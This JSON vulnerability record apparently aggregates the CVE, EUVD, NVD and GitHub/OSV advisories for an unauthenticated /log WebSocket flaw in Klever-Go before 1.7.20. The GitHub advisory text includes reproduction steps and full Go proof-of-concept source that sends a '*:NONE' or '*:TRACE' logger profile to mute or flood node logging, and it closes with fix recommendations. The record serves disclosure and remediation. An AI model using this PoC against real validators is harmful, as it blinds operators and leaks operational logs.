{"id":"GO-2026-6583","revision":null,"records":[{"revision":"3e4366502a1449c6ad6c1f889819f36b","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-86064","aliases":[],"title":"Klever-Go: /log controls global node logging","description":"Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.20, the default-open GET /log WebSocket route configured in config/node/api.yaml and registered by network/api/api.go does not require authentication. The first client message is parsed as a logger Profile in network/api/logs/logSender.go and applied process-wide through Profile.Apply, allowing a remote client to change global log levels and formatting options until the connection closes. The same connection is registered as a log observer and can receive live process logs. An attacker can suppress normal logs, increase verbosity, distort operator visibility, and access operational information without credentials. This issue is fixed in version 1.7.20.","state":0,"publishedAt":"2026-09-23T19:12:51.757+00:00","modifiedAt":"2026-09-23T19:29:31.649+00:00","affected":[{"ecosystem":"Vendor product","name":"klever-go","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"klever-io\",\n                    \"product\": \"klever-go\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 1.7.20\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L","score":8.6,"severity":"HIGH"}],"references":["https://github.com/klever-io/klever-go/security/advisories/GHSA-9v8p-frvj-2pcm","https://github.com/klever-io/klever-go/pull/74","https://github.com/klever-io/klever-go/commit/a2740c985a788fb69e17742ea4f0c37c440733b2","https://github.com/klever-io/klever-go/releases/tag/v1.7.20"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-86064","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-86064","identifiers":["CVE-2026-86064"]},"retained":false,"historicalAffected":[]},{"revision":"511e8f9d29a14984aa905b10d9df21f9","observedAt":"2026-11-11T17:02:10.933+00:00","statement":{"source":"euvd","id":"EUVD-2026-85574","aliases":["CVE-2026-86064","GHSA-9v8p-frvj-2pcm"],"title":"Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.20, the default-open GET /log WebSocket route configured in config/node/api.yaml and registered by network/api/api.go does not require authentication. The fi…","description":"Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.20, the default-open GET /log WebSocket route configured in config/node/api.yaml and registered by network/api/api.go does not require authentication. The first client message is parsed as a logger Profile in network/api/logs/logSender.go and applied process-wide through Profile.Apply, allowing a remote client to change global log levels and formatting options until the connection closes. The same connection is registered as a log observer and can receive live process logs. An attacker can suppress normal logs, increase verbosity, distort operator visibility, and access operational information without credentials. This issue is fixed in version 1.7.20.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L","score":8.6,"severity":null}],"references":["https://github.com/klever-io/klever-go/security/advisories/GHSA-9v8p-frvj-2pcm","https://github.com/klever-io/klever-go/pull/74","https://github.com/klever-io/klever-go/commit/a2740c985a788fb69e17742ea4f0c37c440733b2","https://github.com/klever-io/klever-go/releases/tag/v1.7.20"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-85574","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Sep 23, 2026, 7:12:51 PM","dateUpdated":"Sep 23, 2026, 7:29:31 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-85574","identifiers":["EUVD-2026-85574","CVE-2026-86064","GHSA-9v8p-frvj-2pcm"]},"retained":false,"historicalAffected":[]},{"revision":"3f54aa46439d42408f3d75c82de843a4","observedAt":"2026-10-25T16:19:16.24+00:00","statement":{"source":"nvd","id":"CVE-2026-86064","aliases":[],"title":"Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.20, the default-open GET /log WebSocket route configured in config/node/api.yaml and registered by network/api/api.go does not require authentication. The fi…","description":"Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.20, the default-open GET /log WebSocket route configured in config/node/api.yaml and registered by network/api/api.go does not require authentication. The first client message is parsed as a logger Profile in network/api/logs/logSender.go and applied process-wide through Profile.Apply, allowing a remote client to change global log levels and formatting options until the connection closes. The same connection is registered as a log observer and can receive live process logs. An attacker can suppress normal logs, increase verbosity, distort operator visibility, and access operational information without credentials. This issue is fixed in version 1.7.20.","state":0,"publishedAt":"2026-09-23T20:17:19.96+00:00","modifiedAt":"2026-09-23T20:17:20.117+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L","score":8.6,"severity":"HIGH"}],"references":["https://github.com/klever-io/klever-go/commit/a2740c985a788fb69e17742ea4f0c37c440733b2","https://github.com/klever-io/klever-go/pull/74","https://github.com/klever-io/klever-go/releases/tag/v1.7.20","https://github.com/klever-io/klever-go/security/advisories/GHSA-9v8p-frvj-2pcm"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-86064","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-200","CWE-306"],"productCriteria":[],"sourceDates":{"published":"2026-09-23T20:17:19.960","lastModified":"2026-09-23T20:17:20.117"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-86064","identifiers":["CVE-2026-86064"]},"retained":false,"historicalAffected":[]},{"revision":"1e0389ad076e438093a60b985e3c1735","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-9v8p-frvj-2pcm","aliases":["CVE-2026-86064","GO-2026-6583"],"title":"Klever-Go: /log controls global node logging","description":"An unauthenticated client can connect to `GET /log`, send an arbitrary logger profile as the first WebSocket message, and mutate the node's global logging configuration before receiving live logs from the process. I confirmed this against a local validator built from this repository: an unauthenticated client set the global log level to `*:NONE`, the node accepted the profile, and the node stopped emitting normal slot logs while the WebSocket connection remained open.\n\nThis is not a duplicate of the published KVM or P2P advisories. It is a management-plane flaw in the public WebSocket logging endpoint.\n\n## Vulnerability details\n\n### Affected code\n\n- Route exposed by default in `config/node/api.yaml`\n- Route registration in `network/api/api.go`\n- Unauthenticated upgrade in `network/api/api.go`\n- First client message is parsed as a logger profile and applied globally in `network/api/logs/logSender.go`\n- Global logger mutation happens in dependency `github.com/klever-io/klever-go-logger`, `profile.go`, `Apply()`\n\n### Root cause\n\n`/log` is enabled by default and does not require authentication. After the WebSocket upgrade, the server reads the first client message and treats it as a logger `Profile`. That profile is then applied process-wide through `profile.Apply()`, which changes global log level patterns and output formatting options for the whole node.\n\nAfter that handshake, the same unauthenticated connection is registered as a log observer and receives live logs from the running process.\n\n## Reproduction steps\n\n### Environment\n\n- Validator built from the repository at commit `9640d63265e910e166dfa694c8e5ddeb53018ffd`\n- REST API bound locally for validation\n- Tested on 2026-05-30\n\n### Step 1: Build and run a local validator from source\n\n```bash\ncd <repo-root>\n\ngo build -o ./bin/validator ./cmd/node\n\n./bin/validator \\\n  --rest-api-interface=127.0.0.1:18080 \\\n  --port=18083 \\\n  --config=./config/node/config.yaml \\\n  --config-api=./config/node/api.yaml \\\n  --config-epochs=./config/node/enableEpochs.yaml \\\n  --config-gas-schedule=./config/node/gasScheduleV1.yaml \\\n  --config-external=./config/node/external.yaml \\\n  --genesis-file=./config/node/genesis.json \\\n  --nodes-setup-file=./config/node/nodesSetup.json \\\n  --working-directory=./validator-report-run \\\n  --use-log-view\n```\n\nThe node exposes `GET /log` and a plain HTTP request already shows it is a live WebSocket endpoint:\n\n```bash\ncurl -i http://127.0.0.1:18080/log\n```\n\nObserved response:\n\n```http\nHTTP/1.1 400 Bad Request\nSec-Websocket-Version: 13\n```\n\n### Step 2: Confirm normal node logging before the attack\n\nBefore the attack, the validator emits periodic slot logs such as:\n\n```text\n#################################### SLOT 14 BEGINS ####################################\n#################################### SLOT 15 BEGINS ####################################\n```\n\n### Step 3: Connect to `/log` without authentication and apply a global mute profile\n\nRun the PoC file:\n\n```bash\ncd <repo-root>\ngo run ./poc-log-profile-control.go \\\n  -url ws://127.0.0.1:18080/log \\\n  -profile none \\\n  -hold 12s\n```\n\nFull PoC source:\n\n```go\npackage main\n\nimport (\n\t\"flag\"\n\t\"fmt\"\n\t\"log\"\n\t\"time\"\n\n\t\"github.com/gorilla/websocket\"\n)\n\nfunc main() {\n\turl := flag.String(\"url\", \"ws://127.0.0.1:18080/log\", \"WebSocket log endpoint\")\n\tprofile := flag.String(\"profile\", \"none\", \"Profile to send: none or trace\")\n\thold := flag.Duration(\"hold\", 12*time.Second, \"How long to keep the socket open\")\n\tflag.Parse()\n\n\tpayload := `{\"LogLevelPatterns\":\"*:NONE\",\"WithCorrelation\":false,\"WithLoggerName\":false}`\n\tswitch *profile {\n\tcase \"trace\":\n\t\tpayload = `{\"LogLevelPatterns\":\"*:TRACE\",\"WithCorrelation\":true,\"WithLoggerName\":true}`\n\tcase \"none\":\n\tdefault:\n\t\tlog.Fatalf(\"unsupported profile %q\", *profile)\n\t}\n\n\tc, _, err := websocket.DefaultDialer.Dial(*url, nil)\n\tif err != nil {\n\t\tlog.Fatalf(\"dial: %v\", err)\n\t}\n\tdefer c.Close()\n\n\tfmt.Printf(\"connected to %s\\n\", *url)\n\tfmt.Printf(\"sending payload: %s\\n\", payload)\n\n\tif err := c.WriteMessage(websocket.TextMessage, []byte(payload)); err != nil {\n\t\tlog.Fatalf(\"write payload: %v\", err)\n\t}\n\n\tfmt.Printf(\"holding connection open for %s\\n\", hold.String())\n\ttime.Sleep(*hold)\n\tfmt.Println(\"closing connection\")\n}\n```\n\nSave the PoC as `poc-log-profile-control.go` in the repository root, or run it from any directory with access to the Go module cache.\n\n### Step 4: Observe the validator accepts and applies the unauthenticated profile\n\nWhile the PoC is connected, the validator prints:\n\n```text\nwebsocket log profile received  profile = [pattern=*:NONE, with correlation=false, with logger name=false]\n```\n\n### Step 5: Observe logging is suppressed while the attacker connection remains open\n\nIn my local reproduction, the validator emitted:\n\n```text\nSLOT 14 BEGINS\nwebsocket log profile received profile = [pattern=*:NONE, ...]\nreverted log profile profile = [pattern=*:INFO, ...]\nSLOT 18 BEGINS\n```\n\nThe expected slot logs for the interval while `*:NONE` was active did not appear. This proves that an unauthenticated client can suppress process logs globally while the WebSocket remains connected.\n\n### Step 6: Observe the profile is restored only after the attacker disconnects\n\nAfter the PoC closes the WebSocket, the validator prints:\n\n```text\nreverted log profile  profile = [pattern=*:INFO, with correlation=false, with logger name=false]\n```\n\nThe revert happens because the server stores the previous profile and restores it only on disconnect. During the lifetime of the attacker connection, the attacker-controlled profile remains active.\n\n## Impact\n\nAn unauthenticated attacker can:\n\n- read live process logs over `/log`\n- mute node logging completely with `*:NONE`\n- increase verbosity to `*:TRACE` and force noisy logging\n- toggle correlation and logger-name settings process-wide\n\nThis affects both confidentiality and operational integrity.\n\nIn the reproduced case, the attacker hid normal validator slot logs for multiple slot intervals. In real deployments, logs commonly contain operational details, peer information, error traces, and occasionally secrets or credentials emitted by adjacent components. Even when no secrets are present, the ability to suppress or distort logs from the public network is a meaningful security impact because it degrades detection, incident response, and operator visibility while an attacker is active.\n\nThis issue is distinct from:\n\n- `GHSA-jc6w-wmfc-fh33` (KVM read-only execution side effects)\n- `GHSA-87m7-qffr-542v` (MultiDataInterceptor remote OOM)\n- `GHSA-74m6-4hjp-7226` (MultiDataInterceptor throttler slot leak)\n\nThose are VM/P2P-path flaws. This finding is an unauthenticated management-plane flaw in the WebSocket logging endpoint.\n\n## Recommended fix\n\n### Immediate\n\n- Remove `/log` from the default `open: true` route set.\n- Require authentication before upgrading the WebSocket.\n- Reject unauthenticated clients before any profile message is processed.\n\n### Short term\n\n- Do not apply client-provided logger profiles to the process-global logger.\n- If remote log viewing is required, allow only a fixed server-side profile or a strict allowlist of safe settings.\n- Enforce origin checks and, if possible, bind `/log` to localhost-only or a dedicated admin interface.\n\n### Long term\n\n- Separate log streaming from global logger configuration.\n- Move any profile mutation capability behind an authenticated admin-only channel with explicit authorization and audit logging.","state":0,"publishedAt":"2026-09-23T19:13:46+00:00","modifiedAt":"2026-10-01T20:56:03.1849337+00:00","affected":[{"ecosystem":"Go","name":"github.com/klever-io/klever-go","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.7.20"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/klever-io/klever-go/security/advisories/GHSA-9v8p-frvj-2pcm","https://github.com/klever-io/klever-go/pull/74","https://github.com/klever-io/klever-go/commit/a2740c985a788fb69e17742ea4f0c37c440733b2","https://github.com/klever-io/klever-go","https://github.com/klever-io/klever-go/releases/tag/v1.7.20"],"sourceUrl":"https://github.com/advisories/GHSA-9v8p-frvj-2pcm","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-9v8p-frvj-2pcm","identifiers":["GHSA-9v8p-frvj-2pcm","CVE-2026-86064","GO-2026-6583"]},"retained":false,"historicalAffected":[]},{"revision":"de63213a19df47f7b82627ce11e81b1a","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-6583","aliases":["CVE-2026-86064","GHSA-9v8p-frvj-2pcm"],"title":"Klever-Go: /log controls global node logging in github.com/klever-io/klever-go","description":"Klever-Go: /log controls global node logging in github.com/klever-io/klever-go","state":0,"publishedAt":"2026-10-01T20:23:38+00:00","modifiedAt":"2026-10-01T20:45:14.9829889+00:00","affected":[{"ecosystem":"Go","name":"github.com/klever-io/klever-go","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.7.20"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/klever-io/klever-go/security/advisories/GHSA-9v8p-frvj-2pcm","https://github.com/klever-io/klever-go/commit/a2740c985a788fb69e17742ea4f0c37c440733b2","https://github.com/klever-io/klever-go/pull/74","https://github.com/klever-io/klever-go/releases/tag/v1.7.20"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-6583","license":"OSV · upstream source license applies","key":"osv:GO-2026-6583","identifiers":["GO-2026-6583","CVE-2026-86064","GHSA-9v8p-frvj-2pcm"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. 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